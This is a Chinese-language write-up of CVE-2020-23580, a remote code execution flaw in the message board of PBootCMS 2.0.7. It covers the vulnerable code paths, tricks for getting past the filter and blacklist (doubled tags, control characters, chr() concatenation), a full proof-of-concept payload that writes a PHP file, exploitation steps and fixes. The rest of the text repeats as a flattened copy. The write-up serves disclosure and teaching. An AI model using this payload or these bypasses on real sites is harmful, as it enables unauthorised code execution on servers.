CVE-2020-23580 PBootCMS安全漏洞浅析
字数 1327 2025-08-29 08:32:24

PBootCMS CVE-2020-23580 安全漏洞分析与利用教学

一、漏洞概述

漏洞编号: CVE-2020-23580
影响版本: PBootCMS 2.0.7 (官方标注为2.0.8但实际影响2.0.7)
漏洞类型: 远程代码执行(RCE)
漏洞位置: 留言板(message board)功能
漏洞成因: 未对用户输入做有效验证导致模板标签解析时可能执行恶意代码

二、环境搭建

1. 下载源码

从码云(Gitee)下载PBootCMS 2.0.7版本源码

2. 数据库配置

默认使用SQLite数据库,如需使用MySQL:

  1. 创建数据库:
mysql -u root -p
create database pb;
use pb;
source ...\PbootCMS-V2.0.8\static\backup\sql\xxx.sql
  1. 修改配置文件config/database.php
'type' => 'mysql', // 从sqlite改为mysql
'hostname' => 'localhost',
'database' => 'pb',
'username' => 'root',
'password' => 'yourpassword',

3. 访问安装

配置完成后访问网站首页完成安装

三、漏洞分析

1. 核心差异点

比较2.0.7和2.0.8版本,关键差异在MessageController.phpParserController.php中:

  • 2.0.7版本使用str_replace('pboot:if', '', $field_data)
  • 2.0.8版本使用递归替换函数preg_replace_r()
function preg_replace_r($search, $replace, $subject) {
    while (preg_match($search, $subject)) {
        $subject = preg_replace($search, $replace, $subject);
    }
    return $subject;
}

2. 攻击链分析

  1. 攻击者在留言板提交包含恶意{pboot:if}标签的内容
  2. 管理员在后台将该留言设置为"可显示"
  3. 当用户访问留言板页面时,系统解析模板标签
  4. 恶意代码通过eval()执行

3. 关键代码路径

  • 留言提交处理: apps/home/controller/MessageController.php
  • 标签解析执行: apps/home/controller/ParserController.php中的parserIfLabel()函数
// ParserController.php中的关键代码
function parserIfLabel($content) {
    $pattern = '/\{pboot:if([\s\S]*?)\}\}([\s\S]*?)\{\/pboot:if\}/';
    if (preg_match_all($pattern, $content, $matches)) {
        // ...安全检查...
        eval('if('.$matches[1][$i].'){$flag="if";}else{$flag="else";}');
    }
    return $content;
}

四、漏洞利用

1. 绕过str_replace过滤

使用双写绕过:

{pbootpboot:if:if(恶意代码)}内容{/pbootpboot:if:if}

经过一次替换后变为合法标签:

{pboot:if(恶意代码)}内容{/pboot:if}

2. 绕过安全检查

ParserController中有两重安全检查:

第一重检查:检测危险函数

if ((function_exists($value) || preg_match('/^eval$/i', $value)) 
    && !in_array($value, $white_fun)) {
    $danger = 1;
    break;
}

绕过方法:在函数名和括号之间插入控制字符(\x00-\x20)

fopen\x01("info.php","w")

第二重检查:黑名单过滤

// 过滤的特殊字符串
(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|
(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|
(shell_exec)|(eval)|(system)|(exec)|(passthru)

绕过方法:

  1. 使用未被过滤的函数组合:fputs(fopen())
  2. 使用chr()拼接敏感字符串

3. 完整利用POC

{pbootpbootpboot:if:if:if(fputs%01(fopen%01("info.php","w"),"<?php ".chr%01(112).chr%01(104).chr%01(112).chr%01(105).chr%01(110).chr%01(102).chr%01(111).%01."();?>"))}yyy{/pbootpbootpboot:if:if:if}

URL编码后:

%7Bpbootpbootpboot%3Aif%3Aif%3Aif%28fputs%01%28fopen%01%28%22info.php%22%2C%22w%22%29%2C%22%3C%3Fphp+%22.chr%01%28112%29.chr%01%28104%29.chr%01%28112%29.chr%01%28105%29.chr%01%28110%29.chr%01%28102%29.chr%01%28111%29%01.%22%28%29%3B%3F%3E%22%29%29%7Dyyy%7B%2Fpbootpbootpboot%3Aif%3Aif%3Aif%7D

4. 利用步骤

  1. 在留言板提交上述恶意payload
  2. 管理员登录后台,将该留言设置为"可显示"
  3. 访问/info.php即可看到phpinfo页面

五、修复方案

  1. 升级到最新版本(PBootCMS 2.0.8及以上)
  2. 临时修复方案:
    • 修改MessageController.php,使用preg_replace_r()替代str_replace()
    • 加强parserIfLabel()函数中的过滤逻辑

六、技术要点总结

  1. 双写绕过:利用str_replace非递归替换特性
  2. 控制字符绕过:在函数名和括号间插入\x00-\x20字符
  3. 函数组合利用:使用未被完全过滤的函数组合实现恶意功能
  4. chr编码绕过:拼接敏感字符串避免直接出现黑名单内容

七、参考链接

  1. 动态调用和Webshell技巧 - 离别歌
  2. PBootCMS官方更新日志
PBootCMS CVE-2020-23580 安全漏洞分析与利用教学 一、漏洞概述 漏洞编号 : CVE-2020-23580 影响版本 : PBootCMS 2.0.7 (官方标注为2.0.8但实际影响2.0.7) 漏洞类型 : 远程代码执行(RCE) 漏洞位置 : 留言板(message board)功能 漏洞成因 : 未对用户输入做有效验证导致模板标签解析时可能执行恶意代码 二、环境搭建 1. 下载源码 从码云(Gitee)下载PBootCMS 2.0.7版本源码 2. 数据库配置 默认使用SQLite数据库,如需使用MySQL: 创建数据库: 修改配置文件 config/database.php : 3. 访问安装 配置完成后访问网站首页完成安装 三、漏洞分析 1. 核心差异点 比较2.0.7和2.0.8版本,关键差异在 MessageController.php 和 ParserController.php 中: 2.0.7版本 使用 str_replace('pboot:if', '', $field_data) 2.0.8版本 使用递归替换函数 preg_replace_r() 2. 攻击链分析 攻击者在留言板提交包含恶意{pboot:if}标签的内容 管理员在后台将该留言设置为"可显示" 当用户访问留言板页面时,系统解析模板标签 恶意代码通过 eval() 执行 3. 关键代码路径 留言提交处理 : apps/home/controller/MessageController.php 标签解析执行 : apps/home/controller/ParserController.php 中的 parserIfLabel() 函数 四、漏洞利用 1. 绕过str_ replace过滤 使用双写绕过: 经过一次替换后变为合法标签: 2. 绕过安全检查 ParserController中有两重安全检查: 第一重检查 :检测危险函数 绕过方法:在函数名和括号之间插入控制字符(\x00-\x20) 第二重检查 :黑名单过滤 绕过方法: 使用未被过滤的函数组合: fputs(fopen()) 使用 chr() 拼接敏感字符串 3. 完整利用POC URL编码后: 4. 利用步骤 在留言板提交上述恶意payload 管理员登录后台,将该留言设置为"可显示" 访问 /info.php 即可看到phpinfo页面 五、修复方案 升级到最新版本(PBootCMS 2.0.8及以上) 临时修复方案: 修改 MessageController.php ,使用 preg_replace_r() 替代 str_replace() 加强 parserIfLabel() 函数中的过滤逻辑 六、技术要点总结 双写绕过 :利用 str_replace 非递归替换特性 控制字符绕过 :在函数名和括号间插入\x00-\x20字符 函数组合利用 :使用未被完全过滤的函数组合实现恶意功能 chr编码绕过 :拼接敏感字符串避免直接出现黑名单内容 七、参考链接 动态调用和Webshell技巧 - 离别歌 PBootCMS官方更新日志